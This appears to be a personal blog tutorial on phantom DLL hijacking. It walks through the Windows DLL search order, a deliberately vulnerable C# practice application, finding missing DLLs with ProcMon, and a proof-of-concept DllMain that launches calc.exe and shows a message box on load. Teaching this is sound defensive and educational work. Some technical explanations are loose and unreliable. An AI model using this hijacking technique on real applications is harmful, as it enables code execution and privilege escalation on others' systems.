aidenpearce369
Published on

Phantom DLL Hijacking

Prologue

DLL Hijacking is a offensive technique often used on Windows Executables where an attacker places a malicious DLL file in a location that an application is likely to search for its legitimate DLL dependencies. When the application runs, it inadvertently loads the attacker's DLL instead of the genuine one, thus executing the malicious code embedded within it.

When a Windows application needs a DLL, it follows a specific search order to locate it. This search order can be influenced by factors such as the current working directory, system directories, and the application's own directory. Knowing this, an attacker will place the malicious DLL in the path which will be likely to be used by the executable to load it as a legitimate DLL. Besides this DLL search order hijacking, there are many flavours in DLL Hijacking itself, which will be discussed below.

DLL Search Order

#include <windows.h>
#include <stdio.h>

int main(void)
{
    const char* dllPath = "offsec.dll";
    HINSTANCE dllInstance;
    dllInstance = LoadLibrary(dllPath);
    if (dllInstance != NULL)
    {
        printf("[+] DLL loaded\n");
    }
    else
    {
        printf("[-] DLL not found\n");
    }
}

From the above code, we can understand that this application simply tries to load a DLL. But how does the application know where the DLL comes from. This is where the DLL Search Order Path comes into play. The offsec.dll is just a relative path for the DLL. When the application runs, it will try to find the DLL similar to the %PATH% context.

If the absoulte path for the DLL is defined, it will look for the DLL only in the defined path. If the DLL in the path is not present and If we place a malicious DLL in that place, it is known as Phantom DLL Hijacking. If an attacker has the privilege to write his offensive DLL in the search order path instead which makes the application to call his malicious DLL instead of calling the legitiamte DLL, then this attack is known as DLL Search Order Hijacking or DLL Pre Loading

When searching for the DLL, the application would search under these order,

  1. Special Search Locations (Will be explained later)
  2. Application's Directory
  3. C:\Windows\System32\
  4. C:\Windows\System\
  5. C:\Windows\
  6. Current Working Directory
  7. Directories in SYSTEM PATH
  8. Directories in curent user PATH

If a program susceptible to DLL Hijacking vulnerability is set to run with elevated privileges, the attacker-controlled DLL that is loaded will also run with those same elevated privileges. This can enable privilege escalation, allowing the attacker to elevate from user to administrator or SYSTEM, or from administrator to SYSTEM, depending on the program's configuration.

Now to demonstrate/practice this attack over a vulnerable application that is missing its legitimate DLL, I have coded it on my own. You can use this repo for your own practice.

Vulnerable Application

This vulnerable application logic is so simple. It tries to add two integers and prints a result, but it processes the function via a DLL loaded into it.

This how the perfectly working application should look.

Perfect

As you can see the MyApp.exe requires AddDLL.dll to perform the addition. And this is how it works by my code.

TestRun

If you delete the AddDLL.dll from the expected DLL path of the application, it should throw an error like this.

DLLGoneError

Digging into the code, it is very simple to understand. It just used AddDLL namespace to import the DLL and performs addition via calc.AddNumbers(x, y)

using System;
using System.Drawing;
using System.Windows.Forms;
using AddDLL;

namespace MyApp
{
    public partial class Form1 : Form
    {

        ...

        private void button2_Click(object sender, EventArgs e)
        {
            // Check X and Y as INT
            if (int.TryParse(textBox2.Text, out int x) && int.TryParse(textBox3.Text, out int y))
            {
                // Add and show result
                Calculator calc = new Calculator();
                int result = calc.AddNumbers(x, y);
                label6.Text = $"Result: {result}";
            }
            else
            {
                MessageBox.Show(
                    "Please enter valid integer values for X and Y.", 
                    "Input Error", 
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error
                );
            }
        }

        ...
    }    
}

So lets attack the application and see what happens if we substitute our own DLL in that place.

Analysing Missing DLLs

There are many automated tools to find DLL Injections in the wild. But if you want to research and find many upcoming DLL injections, I would recommend you to work with ProcMon to find the missing DLLs.

ProcMonFilter

Now add your filters in the ProcMon according to your Process Name or Process ID. Here the Path should end will dll so that it would show any activity related to DLL files. And the Result should be NAME NOT FOUND, which means the DLL was not found on that path.

It should show that AddDLL.dll is not present in the expected DLL path while the application is executing.

ProcMonResult

This would be a potential entry point to execute a malicious code in the application code execution context / privilege context which can be chained for further lateral movement. All an attacker needs to do is craft a malicous DLL and place it in the path so that the malicious code gets executed when it is attached.

Performing Phantom DLL Hijacking

Now our malicious DLL is going to pop a calculator and a message box before the application crashes. Why does the application crashes?

There is a concept called Loader Lock. Loader lock is a deadlock situation that occurs when code runs inside the DllMain function of a DLL, and it tries to perform actions that could cause the operating system loader to attempt to load another DLL/resource and doesn't completes it lock. It is essentially a global lock acquired by the OS loader during the initialization and shutdown of a DLL to prevent race conditions.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "Windows.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", 0);
        MessageBoxA(NULL, "You are High-JACKED", "0x1337", 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

After compiling this DLL, we can use it to target our Vulnerable Application MyApp to spawn our malicious code in it.

Phantom DLL Hijacking exploits an application's attempt to load a non-existent DLL. The attacker takes advantage of this by placing a malicious DLL with the same name in a location the application will search.

Now lets craft this DLL and add it as AddDLL.dll and place it in the path of the MyApp application where it expects its legitimate DLL. The DLL name plays a crucial role, so that the application identifies it. Since the application tries to find its missing DLL, it would be easier to just place the missing DLL in the original DLL path to exploit it. This is the easiest type of DLL Hijacking to be available. The attacker should have the write privilege to place his malicious DLL in the original DLL path and it will be executed in the privilege context of the vulnerable application.

DLLHijack

Thus we have performed our first Classic DLL Hijacking / Phantom DLL Hijacking.